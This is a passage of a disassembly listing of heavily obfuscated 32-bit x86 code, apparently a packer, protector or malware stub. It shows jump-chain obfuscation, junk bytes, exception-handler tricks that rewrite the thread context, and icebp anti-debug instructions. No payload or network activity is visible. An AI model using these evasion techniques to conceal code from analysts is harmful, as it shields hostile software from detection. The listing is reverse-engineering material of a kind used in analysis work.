		mov	al, [ebp+eax-20h]
		call	near ptr dword_4379FC+12h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0
		dd 0FFA758E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E083:				; CODE XREF: sub_439ED1+76Aj
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43DE86
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 819C0000h, 3A1A2CC0h, 6CE881B7h, 81348C23h, 77A9C0C0h
		dd 0AB3BE825h, 0E900FFFFh, 0FFFFA049h, 7AE90000h, 0FFFFB5h
; ---------------------------------------------------------------------------


loc_43E0C0:				; CODE XREF: _802izwe5:00438E17j
		pop	ecx
		pop	edi
		call	near ptr loc_43F494+1
; START	OF FUNCTION CHUNK FOR sub_438989


loc_43E0C7:				; CODE XREF: sub_438989+30Fj
		jmp	loc_43DB65
; END OF FUNCTION CHUNK	FOR sub_438989
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43E0CD:				; CODE XREF: _802izwe5:004382A2j
		jmp	loc_4380C8
; ---------------------------------------------------------------------------
		align 4
		dd 0D9E8E951h, 8100FFFFh, 0E28512D9h, 9689E908h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E0E8:				; CODE XREF: sub_439ED1+121j
		push	edi
		mov	edi, ecx
		xchg	edi, [esp-0Ch+arg_8]
		jmp	near ptr dword_4394A0+2
; ---------------------------------------------------------------------------


loc_43E0F3:				; CODE XREF: sub_439ED1+13A4j
		push	ecx
		jmp	loc_439954
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E0FA:				; CODE XREF: sub_439ED1+2670j
		push	edi
		push	735000C2h
		pop	edi
		rol	edi, 2
		xor	edi, 0D4130585h
		call	sub_43D8B1
		jmp	loc_43C923
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------

locret_43E114:				; CODE XREF: _802izwe5:loc_43732Bj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E117:				; CODE XREF: sub_439ED1+4EF7j
		jmp	near ptr dword_437548+6Eh
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0A361E900h, 0FFFFh, 0F1CCEC1h, 0FFFF9384h, 56860FFFh
		dd 0E9000014h, 0FFFFBA17h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D66E


loc_43E13A:				; CODE XREF: sub_43D66E:loc_43F231j
		adc	[esi+esi*8+57000008h], al
		push	0FF0971FEh
		pop	edi
		call	near ptr dword_437B44+1
		jmp	loc_43CD1F
; END OF FUNCTION CHUNK	FOR sub_43D66E
; ---------------------------------------------------------------------------
		ror	eax, 3
		jmp	sub_43D600
; ---------------------------------------------------------------------------
		align 2


loc_43E15A:				; CODE XREF: sub_43C4C7+Cp
		xchg	esi, [esp]
		pop	esi
; ---------------------------------------------------------------------------
		dw 0CC36h
		dd 0C608890Fh, 0D5F7FFFFh, 0FFAD4FE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E16E:				; CODE XREF: sub_439ED1+F86j
		push	0BC4CEF77h
		pop	edx
		or	edx, 41F711E8h
		xor	edx, 0FDFFFFFBh
		add	ecx, edx
		pop	edx
		mov	[ecx], eax
		push	esi
		jmp	loc_438877
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFA6D7E9h, 810000FFh, 62AA34FFh, 9C50E9A3h,	0FFFFh
					; CODE XREF: _802izwe5:loc_43F921j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E9D9


loc_43E1A0:				; CODE XREF: sub_43E9D9+13j
		popf
		mov	byte ptr [eax],	5Dh
		inc	dword ptr [ebp-8Ch]
		push	9FE58264h
		pop	eax
		jmp	loc_43BB8B
; END OF FUNCTION CHUNK	FOR sub_43E9D9
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E1B7:				; CODE XREF: sub_439ED1:loc_43A91Aj
		pop	ebx
		popf
		call	loc_43A75E
		add	cl, ch
		movsb
		cli
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E1C6:				; CODE XREF: sub_439ED1+164Bj
		jmp	loc_43F782
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		leave
		mov	eax, 0FFFFh


loc_43E1D2:				; CODE XREF: _802izwe5:00437CD4j
		jmp	loc_437E3F
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43E1D9:				; CODE XREF: _802izwe5:0043AF74j
		add	eax, 4DFE0E26h
		call	near ptr sub_43D66E
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E1E4:				; CODE XREF: sub_439ED1+43AFj
		jmp	loc_43A0B3
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439E45


loc_43E1EA:				; CODE XREF: sub_439E45+Cj
		jmp	near ptr dword_4383B0
; END OF FUNCTION CHUNK	FOR sub_439E45
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43E1F1:				; CODE XREF: sub_43C65A-37B6j
		jmp	loc_43BFA6
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 4


loc_43E1F8:				; CODE XREF: _802izwe5:loc_4385E2j
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_43DE14
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43E209:				; CODE XREF: _802izwe5:0043F49Cj
		jmp	loc_43B649
; ---------------------------------------------------------------------------
		align 10h
		jmp	loc_43E809
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43E216:				; CODE XREF: sub_43C65A+D3j
		jmp	loc_43BBA9
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 4
		dd 0FFB7B0E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_43E223:				; CODE XREF: _802izwe5:00438304j
		jmp	loc_43963B
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43E22A	proc near		; CODE XREF: _802izwe5:0043726Cp

; FUNCTION CHUNK AT 00438013 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043940F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043DE14 SIZE 0000001D BYTES

		push	dword ptr fs:0
		jmp	loc_438013
sub_43E22A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43E237:				; CODE XREF: _802izwe5:loc_43BEA0j
		pop	edi
		jmp	loc_43E92C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E23D:				; CODE XREF: sub_439ED1:loc_439944j
		pushf
		push	edi
		call	sub_43DB2C
		add	[edi+3487241Ch], al
		and	al, 8Bh
		ficomp	word ptr [esi-64h]
		jmp	loc_43BE15
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43E255:				; CODE XREF: _802izwe5:0043BDE1j
		jp	near ptr unk_439213

; =============== S U B	R O U T	I N E =======================================



sub_43E25B	proc near		; CODE XREF: sub_439ED1-16CCp
		xchg	ecx, [esp+0]
		pop	ecx
		push	edi
		jmp	near ptr dword_437428+27h
sub_43E25B	endp

; ---------------------------------------------------------------------------
		add	ecx, ebp
		jmp	loc_43F962
; ---------------------------------------------------------------------------
		dd 0ED58E99Ch, 0E99CFFFFh, 0FFFFD860h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E278:				; CODE XREF: sub_439ED1+7Fj
		mov	byte ptr [ecx],	8Ah
		pop	ecx
		pop	ecx
		rol	ecx, 0Ch
		jmp	loc_43E1E4
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		test	eax, 0A1DD2D2Bh
		jmp	loc_439C0D
; ---------------------------------------------------------------------------
		dd 8B500000h, 240487C1h, 0FFF274E9h
		db 0FFh, 0
word_43E29E	dw 0CC67h		; CODE XREF: sub_439ED1+1B3Ej
; ---------------------------------------------------------------------------
		jmp	loc_438F4C
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
; ---------------------------------------------------------------------------


loc_43E2A8:				; CODE XREF: _802izwe5:loc_43B3ABj
		test	edi, 8000h
		jmp	loc_43CD97
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E2B4:				; CODE XREF: sub_439ED1:loc_43A231j
		db	66h
		icebp
		jmp	loc_43B3E2
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43E2BD	proc near		; CODE XREF: sub_439ED1+5699p
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr dword_437428+0BFh
sub_43E2BD	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43E2D0:				; CODE XREF: _802izwe5:0043F180j
		add	[ecx], al
		push	edx
		push	3AD19309h
		pop	edx
		jmp	near ptr dword_438AC4+16h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43E2DF:				; CODE XREF: _802izwe5:0043E945j
		add	eax, ebp
		add	eax, 0E15CE1C6h
		mov	eax, [eax]
		popf
		jmp	near ptr loc_439E1F+1
; ---------------------------------------------------------------------------
		align 10h
		dd 4F0E800h, 12E90000h,	0FFFFC3h ; CODE	XREF: _802izwe5:0043F7AAj
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E2FC:				; CODE XREF: sub_439ED1:loc_43F9B9j
		call	loc_43A67F
		jmp	loc_43F58E
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4


loc_43E308:				; CODE XREF: _802izwe5:loc_43E69Bj
		pop	eax
		push	ebx
		mov	ebx, offset byte_43FA05
		jmp	loc_43B95A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E316:				; CODE XREF: sub_439ED1:loc_439032j
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		push	esi
		push	667F470Eh
		pop	esi
		jmp	loc_43DFFA
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
byte_43E335	db 99h,	27h, 0F9h	; DATA XREF: sub_439ED1+DB7o
		dd 8E016857h, 815FBB3Ch, 0B9F004F7h, 64CF8148h,	815A9E2Dh
		dd 0B9CC29F7h, 0E618E97Ch, 0FFFFh, 0C6E9995Bh, 0FFFFE6h
; ---------------------------------------------------------------------------


loc_43E360:				; CODE XREF: _802izwe5:00439AAEj
		not	ebp
		jmp	near ptr byte_437D55+2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43E367:				; CODE XREF: sub_43C65A+2F8j
		push	ecx
		jmp	near ptr loc_43B39D+1
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F7h
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp-166BBC92h], 8Dh
		adc	al, [eax]
		add	[eax+34h], ch
		dec	esi
		imul	byte ptr [edx-17h]
		mov	eax, ds:0FFFFD3h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E385:				; CODE XREF: sub_439ED1:loc_43A129j
		mov	byte ptr [esi],	0FFh
		pop	esi
		push	esi
		push	26937DAFh
		jmp	loc_43AFF4
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E395:				; CODE XREF: sub_439ED1+1C3j
		mov	byte ptr [ecx],	8Bh
		pop	ecx
		push	ebp
		mov	ebp, ebx
		xchg	ebp, [esp-14h+arg_C]
		mov	ebx, offset word_43D9BA
		jmp	loc_43BE23
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		push	edx
		push	0FAED9813h
		pop	edx
		add	edx, 0BC4AEFFCh
		or	edx, 165D199Ah
		sub	edx, 79D07C18h
		jmp	loc_43EBC7
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------


loc_43E3CB:				; CODE XREF: _802izwe5:00439097j
		jmp	loc_43B47F
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E3D1:				; CODE XREF: sub_439ED1-19C7j
		jmp	loc_43E61F
; END OF FUNCTION CHUNK	FOR sub_439ED1

; =============== S U B	R O U T	I N E =======================================



sub_43E3D6	proc near		; DATA XREF: sub_43C65A+1FFEo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437C71 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004394F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BC55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D3AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DC63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EC1C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043F389 SIZE 0000000A BYTES

		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		pop	eax
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43BC55
sub_43E3D6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9, 0D2h, 0Fh
		dd 0FFC58584h, 0DA8FE9FFh, 0FFFFh, 1AE9DE33h, 23000006h
		db 0F7h

; =============== S U B	R O U T	I N E =======================================



sub_43E40D	proc near		; CODE XREF: sub_43844A+10p

; FUNCTION CHUNK AT 004378F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CA05 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043F511 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0DEEAF1F5h
		push	esi
		push	334000EFh
		pop	esi
		jmp	loc_43CA05
sub_43E40D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6E


loc_43E422:				; CODE XREF: sub_438A6E:loc_43DFBEj
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_43F926
; END OF FUNCTION CHUNK	FOR sub_438A6E
; ---------------------------------------------------------------------------
		align 4
		dd 10E36800h, 815ABB68h, 1972B4EAh, 0F6C28174h,	0E9B8F50Dh
		dd 99Ch
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E454:				; CODE XREF: sub_439ED1+EEAj
		jmp	loc_43CE24
; ---------------------------------------------------------------------------


loc_43E459:				; CODE XREF: sub_439ED1+D5Ej
		jmp	near ptr sub_43D7EE
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E460:				; CODE XREF: sub_439ED1+5FBj
		jmp	loc_43D0A9
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
word_43E466	dw 0F081h		; DATA XREF: sub_439ED1:loc_4392FAo
		dd 0B168404Fh, 0C081C503h, 0EF08BFE2h, 0FFEE51E8h, 0D983E9FFh
		dd 0FFFFh, 5FFC07C6h, 0AD51F281h, 689D2B37h, 43EF21h, 0FF9115E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43E495:				; CODE XREF: _802izwe5:00438DCFj
					; _802izwe5:loc_43BE36j
		jmp	loc_43BFAD
; ---------------------------------------------------------------------------
		align 4


loc_43E49C:				; CODE XREF: _802izwe5:00438DC9j
		push	esi
		push	0C095E144h
		pop	esi
		and	esi, 0BC29069Fh
		jmp	near ptr dword_43718C+92h
; ---------------------------------------------------------------------------
		db 0
byte_43E4AF	db 81h			; DATA XREF: sub_439ED1:loc_43DE3Bo
		dd 0D164F7F1h, 0F79969A5h, 0FB37E9F9h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43E4C0:				; CODE XREF: _802izwe5:0043C22Ej
		js	loc_43A289

; =============== S U B	R O U T	I N E =======================================



sub_43E4C6	proc near		; CODE XREF: sub_439ED1-164Cp

; FUNCTION CHUNK AT 0043BAD1 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_43BAD1
sub_43E4C6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43E4D7	proc near		; CODE XREF: _802izwe5:0043E03Fj
					; sub_439ED1:loc_43EC04p

; FUNCTION CHUNK AT 00439BCB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B35D SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		lodsb
		push	edx
		mov	edx, offset byte_43B0B7
		jmp	loc_43B35D
sub_43E4D7	endp

; ---------------------------------------------------------------------------
		dd 0E9CCF000h, 0FFFFE33Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43E4F6:				; CODE XREF: _802izwe5:0043AF38j
		jp	loc_43B176
		jmp	near ptr word_437796+1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E503:				; CODE XREF: sub_439ED1+E80j
		mov	al, [ecx]
		push	edx
		push	4315D8F7h
		pop	edx
		sub	edx, 4E6A6EDAh
		rol	edx, 0Eh
		jmp	loc_43E05F
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43E51B	proc far		; CODE XREF: _802izwe5:00439A11p
		xchg	edx, [esp+0]
		pop	edx
		push	7603CFB3h
		pop	ebx
		xor	ebx, 0D7CFE9B2h
		jmp	loc_43A225
sub_43E51B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43E530	proc near		; CODE XREF: _802izwe5:loc_43B714p
					; _802izwe5:0043D330j
		xchg	eax, [esp+0]
		pop	eax
		push	437917h
		jmp	nullsub_33
sub_43E530	endp

; ---------------------------------------------------------------------------
		align 10h
		xchg	ecx, [esp]
		xchg	esi, [esp]
		mov	ecx, esi
		pop	esi
		mov	[edi], eax
		pop	edi
		popf
		jmp	loc_43AA89
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43E553:				; CODE XREF: _802izwe5:0043F79Dj
		call	sub_43DC98
		jmp	loc_43E6A0
; ---------------------------------------------------------------------------


loc_43E55D:				; CODE XREF: _802izwe5:00439816j
		mov	[ecx], eax
		call	sub_43CA25
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43E565:				; CODE XREF: _802izwe5:00438D0Fj
		jmp	loc_43DED4
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E56B:				; CODE XREF: sub_439ED1:loc_43A928j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]


loc_43E575:				; CODE XREF: _802izwe5:loc_43CBEEj
		mov	dword ptr [ecx], 10013h
		jmp	loc_43AF86
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43E582:				; CODE XREF: sub_43F18B:loc_4383FAj
		test	esi, edx
		jmp	loc_43C5E4
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		align 2


loc_43E58A:				; CODE XREF: _802izwe5:004392B9j
		lock icebp
		jmp	loc_43E94C
; ---------------------------------------------------------------------------
		align 2

locret_43E592:				; CODE XREF: _802izwe5:00438ABBj
		retn
; ---------------------------------------------------------------------------


loc_43E593:				; CODE XREF: _802izwe5:0043D658j
		jmp	loc_43F61C
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E599:				; CODE XREF: sub_439ED1+23C7j
		jmp	loc_43F5D6
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43E59F:				; CODE XREF: sub_43C65A:loc_43CAB0j
		add	ecx, 4
		mov	[ecx], eax
		push	edi
		push	883207C4h
		pop	edi
		jmp	loc_43CC2B
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43BFFF


loc_43E5B4:				; CODE XREF: sub_43BFFF:loc_439A17j
		mov	ecx, esp
		push	eax
		push	7960F582h
		pop	eax
		or	eax, 0A444C514h
		add	eax, 5C272EF1h
		jmp	loc_43F6F8
; END OF FUNCTION CHUNK	FOR sub_43BFFF
; ---------------------------------------------------------------------------
		align 10h
		dd 0FD4A8D0Fh, 6467FFFFh, 68Fh,	58240487h, 0FFEDF2E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43E5E6:				; CODE XREF: _802izwe5:loc_43AFE6j
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43DF40
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E602:				; CODE XREF: sub_439ED1+933j
		or	eax, 0FE981D05h
		add	eax, 89A638h
		scasb
		xchg	eax, [esp+0]
		jmp	near ptr word_439EAE+1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFC421E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E61F:				; CODE XREF: sub_439ED1:loc_43E3D1j
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], 437195h
		xor	eax, eax
		jmp	loc_438DE0
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43E642:				; CODE XREF: sub_43C65A-37E7j
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	sub_43E3D6
		jmp	loc_43E97C
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFB6A889h, 348759FFh, 458B5E24h, 607368F8h,	8159D141h
		dd 352F24F1h, 966EE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_43E682:				; CODE XREF: sub_43DA03-6318j
					; sub_43BE3C+42Aj
		mov	edx, [eax]
		or	edx, edx
		jz	loc_43A989
		jmp	loc_43BF9A
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43E694:				; CODE XREF: _802izwe5:0043FA08j
		jmp	near ptr sub_43D7EE
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43E69B:				; CODE XREF: _802izwe5:0043C1E4j
		jmp	loc_43E308
; ---------------------------------------------------------------------------


loc_43E6A0:				; CODE XREF: _802izwe5:0043E558j
		push	ecx
		jmp	loc_4394A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43E6A6:				; CODE XREF: sub_43C65A+159j
		push	offset loc_4382A8
		jmp	nullsub_44
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dd 42685700h, 5FD6660Fh, 66C9CF81h, 45E9F4EFh, 0FFFFB4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C04


loc_43E6C4:				; CODE XREF: sub_438C04+32C6j
		or	eax, ebx
		pop	ebx
		xchg	eax, [esp+8+var_8]
		popf
		nop
		jmp	loc_43D6CA
; END OF FUNCTION CHUNK	FOR sub_438C04
; ---------------------------------------------------------------------------


loc_43E6D1:				; CODE XREF: _802izwe5:0043EDCFj
		mov	ecx, esp
		push	edi
		push	16B206F2h
		pop	edi
		and	edi, 85F94F81h
		add	edi, 0FB4FF990h
		add	ecx, edi
		jmp	loc_43A359
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C604


loc_43E6EF:				; CODE XREF: sub_43C604+Bj
		push	offset loc_43DF59
		jmp	loc_43B58F
; END OF FUNCTION CHUNK	FOR sub_43C604
; ---------------------------------------------------------------------------
		align 2
		dw 0E581h
		dd 3A9A815Bh, 0F792EE81h, 1C68717Ah
		db 0B0h, 1Eh, 9Ah
byte_43E70B	db 67h			; DATA XREF: sub_439ED1+38D0o
		dd 68F64h, 24048700h, 9331E958h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E71C:				; CODE XREF: sub_439ED1-101Aj
		mov	byte ptr [ebx],	9Ch
		push	offset byte_43B7C1
		jmp	nullsub_21
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db  81h	; 
		db 0C8h	; È
		db  26h	; &
		db 0A1h	; ¡
		db 0F3h	; ó
		db 0ABh	; «
		db 0E8h	; è
		db 0CBh	; Ë
		db 0D9h	; Ù
		db 0FFh
		db 0FFh
		db    0
		db 0E9h	; é
		db  79h	; y
		db  94h	; ”
		dd 0E900FFFFh, 0FFFFD7E5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E740:				; CODE XREF: sub_439ED1+1266j
		jmp	loc_43D587
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0E9h, 2Eh, 9Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EACE


loc_43E74A:				; CODE XREF: sub_43EACE+Cj
		pushf
		jmp	loc_439D9B
; END OF FUNCTION CHUNK	FOR sub_43EACE
; ---------------------------------------------------------------------------
		rol	eax, 1Ch
		add	eax, 45FC526Ch
		and	eax, 4D1B76C6h
		add	eax, 0BB27B4CBh
		or	eax, eax
		jz	loc_43EF41
		jmp	loc_439C38
; ---------------------------------------------------------------------------
		align 4
		dd 0B580850Fh, 0EE9FFFFh, 0FFFFC9h, 9D1AE2C1h, 6FE91987h
		dd 51FFFFB5h, 2B552168h, 0BF5759CCh, 438210h, 0FFF916E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E79D:				; CODE XREF: sub_439ED1+990j
		mov	byte ptr [edi],	3
		xchg	edx, [esp-0Ch+arg_8]
		mov	edi, edx
		pop	edx
		add	edx, ecx
		jmp	loc_43B03F
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 51h
		dd 0FFCC63E8h, 0C0E5E9FFh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E7BB:				; CODE XREF: sub_439ED1:loc_43BF73j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		jmp	loc_43B802
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_43E7D7:				; CODE XREF: sub_43F688:loc_4373EEj
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
		align 2
		dw 2FE9h
